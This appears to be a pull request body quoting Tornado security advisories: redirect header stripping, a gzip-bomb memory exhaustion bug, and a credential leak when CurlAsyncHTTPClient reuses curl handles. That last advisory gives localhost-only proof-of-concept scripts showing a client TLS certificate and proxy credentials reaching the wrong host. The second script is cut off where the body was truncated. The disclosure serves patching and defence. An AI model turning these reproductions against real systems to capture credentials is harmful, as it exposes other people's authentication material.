Beginning in Tornado 6.5.6, SimpleAsyncHTTPClient matches the default behavior of libcurl (and therefore CurlAsyncHTTPClient): When a redirect changes the scheme, host, or port of the url, the Authorization and Cookie headers will be removed when following the redirect.

Severity

• CVSS Score: 7.7 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

References

• https://github.com/tornadoweb/tornado/security/advisories/GHSA-3x9g-8vmp-wqvf
• https://github.com/advisories/GHSA-3x9g-8vmp-wqvf

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

tornado AsyncHTTPClient accumulates decompressed chunks without size limit (gzip bomb)

CVE-2026-49855 / GHSA-mgf9-4vpg-hj56

More information

Details

Tornado's gzip decompression routines work in limited-size chunks, but have no overall limit for the total size of decompressed chunks that they will accumulate (There has always been a limit for the total compressed size). This allows a malicious server to consume effectively unlimited amounts of memory if it is accessed via SimpleAsyncHTTPClient in its default configuration. HTTPServer is not affected in its default configuration, but it is if decompress_request=True is set.

This bug is fixed in Tornado 6.5.6. max_body_size is now checked both for the compressed and cumulative decompressed size of the response.

Prior to upgrading, this issue can be mitigated by setting decompress_response=False or using CurlAsyncHTTPClient.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/tornadoweb/tornado/security/advisories/GHSA-mgf9-4vpg-hj56
• https://github.com/advisories/GHSA-mgf9-4vpg-hj56

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Tornado: CurlAsyncHTTPClient leaks per-request credentials on handle reuse

GHSA-pw6j-qg29-8w7f

More information

Details

CurlAsyncHTTPClient leaks per-request credentials on handle reuse

Summary

CurlAsyncHTTPClient pools and reuses pycurl handles across requests but does
not reset them between requests, and several per-request options are applied with
no clearing branch. As a result, sensitive state set by one request persists onto
a later request on the same client that does not set it. Two credential vectors
are demonstrated below — a client TLS certificate (SSLCERT/SSLKEY) and proxy
basic-auth credentials (PROXYUSERPWD) — both leaking to a different,
unintended host. This affects all released versions through 6.5.6.

Details

In tornado/curl_httpclient.py, handles are created once and returned to a free
list for reuse (_process_queue pops the handle at line 200, _finish
re-appends it at line 245), and _curl_setup_request is never preceded by
curl.reset(). The function clears some carried-over state on the reused handle
— unsetopt(PROXYUSERPWD) in the no-proxy branch (line 394), unsetopt(USERPWD)
when no auth is set (line 495), and the HTTP-method flag reset (lines 428-432) —
but other options have no equivalent clearing path and persist until a later
request sets them again.

Vector A — client TLS certificate (SSLCERT/SSLKEY). Set-only, no clearing
branch:

##### tornado/curl_httpclient.py (v6.5.6), lines 498-502
if request.client_cert is not None:
    curl.setopt(pycurl.SSLCERT, request.client_cert)

if request.client_key is not None:
    curl.setopt(pycurl.SSLKEY, request.client_key)

A request that sets client_cert leaves the certificate on the handle; a later
request without client_cert presents it during its TLS handshake.

Vector B — proxy credentials (PROXYUSERPWD). PROXYUSERPWD is set only
inside the credentials branch and unset only in the no-proxy else branch:

##### tornado/curl_httpclient.py (v6.5.6), lines 371-394
if request.proxy_host and request.proxy_port:
    curl.setopt(pycurl.PROXY, request.proxy_host)
    curl.setopt(pycurl.PROXYPORT, request.proxy_port)
    if request.proxy_username:                 # only place PROXYUSERPWD is set
        ...
        curl.setopt(pycurl.PROXYUSERPWD, credentials)
    ...
else:
    try:
        curl.unsetopt(pycurl.PROXY)
    except TypeError:
        curl.setopt(pycurl.PROXY, "")
    curl.unsetopt(pycurl.PROXYUSERPWD)         # only place it is unset

A request that sets a new proxy_host without proxy_username updates
PROXY/PROXYPORT but never reaches the else, so the previous request's
credentials persist and are sent to the new proxy.

The same class also affects INTERFACE (lines 365-366: set only when
request.network_interface is truthy, with no clearing branch), which is a
lower-severity instance — a later request can be bound to a network interface it
did not request. A single fix addresses all three (see Mitigation).

PoC

Both reproduce against the pinned release using public API only
(CurlAsyncHTTPClient, HTTPRequest, and the documented per-request arguments).

Vector A — client TLS certificate

The two servers listen on different ports, so request B opens a fresh TCP+TLS
connection; the certificate can only reach server 2 via the persisted handle
option, not connection or session reuse.

python3 -m venv venv
./venv/bin/pip install "tornado==6.5.6" pycurl cryptography
./venv/bin/python poc_client_cert.py

import asyncio
import datetime
import ipaddress
import os
import socket
import ssl
import sys
import tempfile
import threading

from cryptography import x509
from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa

from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient

def _key():
    return rsa.generate_private_key(public_exponent=65537, key_size=2048)

def _ca():
    key = _key()
    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "PoC-CA")])
    now = datetime.datetime.now(datetime.timezone.utc)
    cert = (
        x509.CertificateBuilder()
        .subject_name(name).issuer_name(name)
        .public_key(key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(now - datetime.timedelta(minutes=1))
        .not_valid_after(now + datetime.timedelta(days=1))
        .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)
        .sign(key, hashes.SHA256())
    )
    return cert, key

def _leaf(cn, ca_cert, ca_key, ips=None, client=False):
    key = _key()
    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])
    now = datetime.datetime.now(datetime.timezone.utc)
    b = (
        x509.CertificateBuilder()
        .subject_name(name).issuer_name(ca_cert.subject)
        .public_key(key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(now - datetime.timedelta(minutes=1))
        .not_valid_after(now + datetime.timedelta(days=1))
        .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)
    )
    if ips:
        b = b.add_extension(
            x509.SubjectAlternativeName([x509.IPAddress(ipaddress.ip_address(i)) for i in ips]),
            critical=False,
        )
    if client:
        b = b.add_extension(
            x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CLIENT_AUTH]), critical=False
        )
    return b.sign(ca_key, hashes.SHA256()), key

def _pem(path, cert, key=None):
    with open(path, "wb") as fh:
        fh.write(cert.public_bytes(serialization.Encoding.PEM))
        if key is not None:
            fh.write(key.private_bytes(
                serialization.Encoding.PEM,
                serialization.PrivateFormat.TraditionalOpenSSL,
                serialization.NoEncryption(),
            ))

class TLSServer:
    def __init__(self, srv_pem, ca_pem, require):
        self.captures = []
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("127.0.0.1", 0))
        self.sock.listen(4)
        self.port = self.sock.getsockname()[1]
        self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
        self.ctx.load_cert_chain(srv_pem)
        self.ctx.load_verify_locations(ca_pem)
        self.ctx.verify_mode = ssl.CERT_REQUIRED if require else ssl.CERT_OPTIONAL
        threading.Thread(target=self._serve, daemon=True).start()

    def _serve(self):
        while True:
            try:
                conn, _ = self.sock.accept()
            except OSError:
                return
            try:
                s = self.ctx.wrap_socket(conn, server_side=True)
                self.captures.append(s.getpeercert() or None)
                try:
                    s.recv(4096)
                    s.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nok")
                except Exception:
                    pass
                s.close()
            except Exception:
                self.captures.append("handshake-failed")
                conn.close()

    def stop(self):
        try:
            self.sock.close()
        except Exception:
            pass

def _cn(peer):
    if not peer or not isinstance(peer, dict):
        return None
    for rdn in peer.get("subject", ()):
        for k, v in rdn:
            if k == "commonName":
                return v
    return None

async def main():
    with tempfile.TemporaryDirectory() as tmp:
        ca_cert, ca_key = _ca()
        s1_cert, s1_key = _leaf("server1.local", ca_cert, ca_key, ips=["127.0.0.1"])
        s2_cert, s2_key = _leaf("server2.local", ca_cert, ca_key, ips=["127.0.0.1"])
        cli_cert, cli_key = _leaf("trusted-client", ca_cert, ca_key, client=True)

        ca_pem = os.path.join(tmp, "ca.pem")
        s1_pem = os.path.join(tmp, "s1.pem")
        s2_pem = os.path.join(tmp, "s2.pem")
        cert_pem = os.path.join(tmp, "client.crt")
        key_pem = os.path.join(tmp, "client.key")
        _pem(ca_pem, ca_cert)
        _pem(s1_pem, s1_cert, s1_key)
        _pem(s2_pem, s2_cert, s2_key)
        _pem(cert_pem, cli_cert)
        with open(key_pem, "wb") as fh:
            fh.write(cli_key.private_bytes(
                serialization.Encoding.PEM,
                serialization.PrivateFormat.TraditionalOpenSSL,
                serialization.NoEncryption(),
            ))

        s1 = TLSServer(s1_pem, ca_pem, require=True)
        s2 = TLSServer(s2_pem, ca_pem, require=False)
        try:
            clean = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
            await clean.fetch(HTTPRequest(
                f"https://127.0.0.1:{s2.port}/baseline",
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            clean.close()

            client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
            await client.fetch(HTTPRequest(
                f"https://127.0.0.1:{s1.port}/internal-mtls",
                client_cert=cert_pem, client_key=key_pem,
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            await client.fetch(HTTPRequest(
                f"https://127.0.0.1:{s2.port}/other-host",
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            await asyncio.sleep(0.2)
            client.close()
        finally:
            s1.stop()
            s2.stop()

        baseline = _cn(s2.captures[0]) if s2.captures else None
        leaked = _cn(s2.captures[1]) if len(s2.captures) > 1 else None

        print(f"{'scenario':<48}{'cert presented to server 2'}")
        print(f"{'-' * 48}{'-' * 28}")
        print(f"{'baseline: clean client, no client_cert':<48}{baseline!r}")
        print(f"{'exploit: reused handle (A had client_cert)':<48}{leaked!r}")
        print()
        print(f"(sanity) server 1 (mTLS required) saw: {_cn(s1.captures[0]) if s1.captures else None!r}")
        print()
        if baseline is None and leaked == "trusted-client":
            print("VERDICT: VULNERABLE — the client certificate from request A was "
                  "presented to server 2 on request B, which specified none.")
            return 0
        print(f"VERDICT: not reproduced (baseline={baseline!r} leaked={leaked!r})")
        return 2

if __name__ == "__main__":
    sys.exit(asyncio.run(main()))

Output (pip show tornado → 6.5.6, installed in the venv):

scenario                                        cert presented to server 2
----------------------------------------------------------------------------
baseline: clean client, no client_cert          None
exploit: reused handle (A had client_cert)      'trusted-client'

(sanity) server 1 (mTLS required) saw: 'trusted-client'

VERDICT: VULNERABLE — the client certificate from request A was presented to
server 2 on request B, which specified none.

Vector B — proxy credentials

Each proxy is a separate listener capturing the raw request bytes.

./venv/bin/python poc_proxy_creds.py

import asyncio
import base64
import socket
import sys
import threading

from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient

class CapturingProxy:
    def __init__(self):
        self.captures = []
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("127.0.0.1", 0))
        self.sock.listen(4)
        self.port = self.sock.getsockname()[1]
        threading.Thread(target=self._serve, daemon=True).start()

    def _serve(self):
        while True:
            try:
                conn, _ = self.sock.accept()
            except OSError:
                return
            try:
                data = b""
                while b"\r\n\r\n" not in data and len(data) < 8192:
                    chunk = conn.recv(2048)
                    if not chunk:
                        break
                    data += chunk
                self.captures.append(data)
                conn.sendall(b"HTTP/1.1 502 Bad Gateway\r\nContent-Length: 0\r\n"
                             b"Connection: close\r\n\r\n")
            except Exception:
                pass
            finally:
                conn.close()

    def stop(self):
        try:
            self.sock.close()
        except Exception:
            pass

def proxy_authz(raw):
    head = raw.split(b"\r\n\r\n", 1)[0].decode("latin1", "replace")
    for line in head.split("\r\n"):
        if line.lower().startswith("proxy-authorization:"):
            return line
    return None

async def main():
    proxy_a = CapturingProxy()
    proxy_b = CapturingProxy()
    try:
        client = CurlAsyncHTTPClient(max_clients=1, forc

> ✂ **Note**
> 
> PR body was truncated to here.